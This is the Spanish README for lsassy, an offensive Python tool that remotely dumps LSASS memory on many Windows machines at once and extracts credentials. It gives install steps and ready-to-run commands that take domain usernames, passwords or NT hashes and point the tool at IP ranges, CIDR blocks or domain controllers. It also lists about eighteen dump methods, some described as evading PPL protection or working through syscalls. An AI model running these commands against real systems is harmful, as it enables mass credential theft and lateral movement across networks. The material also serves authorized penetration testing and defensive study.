lsassy

Herramienta en Python para extraer credenciales de forma remota en un conjunto de equipos. Esta entrada de blog explica cómo funciona.

Esta herramienta utiliza el proyecto impacket para leer de forma remota los bytes necesarios en el volcado de lsass y pypykatz para extraer credenciales.

Capítulos	Descripción
Advertencia	Antes de usar esta herramienta, lee esto
Instalación	Instalación de lsassy
Uso básico	Uso básico de lsassy
Uso avanzado	Uso avanzado de lsassy con explicación de parámetros
Añadir método de volcado	Cómo añadir un método personalizado de volcado de lsass
Agradecimientos	Reconocimientos a estas personas y herramientas
Discord oficial	Servidor oficial de Discord

Advertencia

Aunque he hecho todo lo posible para que la herramienta sea estable, pueden quedar rastros si se producen errores.

Esta herramienta puede dejar algunos volcados de lsass si no logra eliminarlos (aunque hace todo lo posible) o dejar una tarea programada ejecutándose si falla al eliminarla. Esto no debería ocurrir, pero podría ocurrir. Ahora lo sabes, úsala con precaución.

Instalación

lsassy funciona con python >= 3.7

pip (Recomendado)

python3 -m pip install lsassy

Desde el código fuente para desarrollo

python3 setup.py install

Uso básico

lsassy funciona directamente en múltiples objetivos (IP(s), rango(s), CIDR(s), nombre de equipo(s), FQDN(s), archivo(s) que contienen una lista de objetivos)

lsassy [-d dominio] -u pixis -p P4ssw0rd objetivos
lsassy [-d dominio] -u pixis -H [LM:]NT objetivos

Por defecto, lsassy intentará volcar lsass de forma remota usando el método comsvcs.dll, ya sea a través de WMI o de una tarea programada remota.

Kerberos

lsassy puede autenticarse con Kerberos. Requiere un TGT válido en la variable de entorno KRB5CCNAME. Consulta el uso avanzado para más detalles.

lsassy -k objetivos

Ejemplos

 lsassy -d hackn.lab -u pixis -p P4ssw0rd 192.168.1.0/24
 lsassy -d hackn.lab -u pixis -p P4ssw0rd 192.168.1.1-10
 lsassy -d hackn.lab -u pixis -p P4ssw0rd hosts.txt
 lsassy -d hackn.lab -u pixis -p P4ssw0rd 192.168.1.1-192.168.1.10

Uso avanzado

En lsassy están implementados diferentes métodos de volcado de lsass, y se ofrecen algunas opciones para dar control al usuario sobre cómo procederá la herramienta.

Funcionamiento interno

lsassy está dividido en módulos

                   +-----------+
                   |   Writer  |
                   +-----+-----+
                         |
                         |
 +----------+      +-----+-----+    +---------+
 |  Parser  |------|   Core    |----| Session |
 +----------+      +-----+-----+    +---------+
                         |
                         |
                   +-----------+
                   |    Dump   |-+
                   |  Methods  | |-+    +----------+
                   +-----+-----+ | |----|   File   |
                     +-----------+ |    +----------+
                      +------------+
                         |
                         |
                   +-----------+
                   |    Exec   |-+
                   |  Methods  | |-+
                   +-----+-----+ | |
                     +-----------+ |
                      +------------+

Módulo Core

Este módulo es el orquestador. Crea la clase lsassy con los argumentos y opciones proporcionados, y luego llama a los diferentes módulos para recuperar las credenciales.

Módulo Logger

Este módulo se utiliza para fines de registro.

Módulo File

Es una capa construida sobre Impacket para comportarse como un objeto de archivo nativo de Python. Sobrescribe métodos como open, read, seek o close.

Módulo Dumper

Este módulo contiene toda la lógica de volcado. Dependiendo del método utilizado, ejecutará código en el equipo remoto para volcar lsass utilizando el método proporcionado.

Módulo Parser

Este módulo se basa en pypykatz y utiliza el módulo de archivo de lsassy para analizar de forma remota el volcado de lsass.

Módulo Writer

Este módulo maneja la parte de salida, ya sea en pantalla en diferentes formatos y/o guardando los resultados en un archivo.

Métodos de volcado

Esta herramienta puede volcar lsass de diferentes maneras.

Métodos de volcado (-m o --method)

• comsvcs
• comsvcs_stealth
• dllinject
• procdump
• procdump_embedded
• dumpert
• dumpertdll
• nativedump
• ppldump
• ppldump_embedded
• mirrordump
• mirrordump_embedded
• wer
• EDRSandBlast
• nanodump
• rdrleakdiag
• silentprocessexit
• sqldumper

Método comsvcs

Este método solo utiliza archivos integrados de Windows para extraer credenciales de forma remota. Utiliza la función minidump de comsvcs.dll para volcar el proceso lsass.

Método Procdump

Este método sube procdump.exe de SysInternals para volcar el proceso lsass.

Método Dumpert

Este método sube dumpert.exe o dumpert.dll de outflanknl para volcar el proceso lsass usando syscalls.

Native Dump

Este método sube NativeDump.exe de ricardojoserf para volcar el proceso lsass usando solo NTAPIs.

Ppldump

Este método sube ppldump.exe de itm4n para volcar el proceso lsass y evadir PPL.

Mirrordump

Este método sube Mirrordump.exe de Ccob para volcar lsass usando un identificador ya abierto de lsass mediante un plugin LSA.

WER

Este método utiliza la técnica WER utilizada en PowerSploit.

Opciones

Para algunos métodos de volcado, se requieren opciones, como la ruta de procdump o dumpert. Estas opciones se pueden establecer usando --options o -O con una lista separada por comas de opciones en formato clave=valor.

... --options clave=valor,foo=bar

Por ejemplo:

lsassy -d hackn.lab -u pixis -p P4ssw0rd dc01.hackn.lab -m procdump    -O procdump_path=/opt/Sysinternals/procdump.exe
lsassy -d hackn.lab -u pixis -p P4ssw0rd dc01.hackn.lab -m dumpert     -O dumpert_path=/opt/dumpert.exe
lsassy -d hackn.lab -u pixis -p P4ssw0rd dc01.hackn.lab -m dumpertdll  -O dumpertdll_path=/opt/dumpert.dll

Solo analizar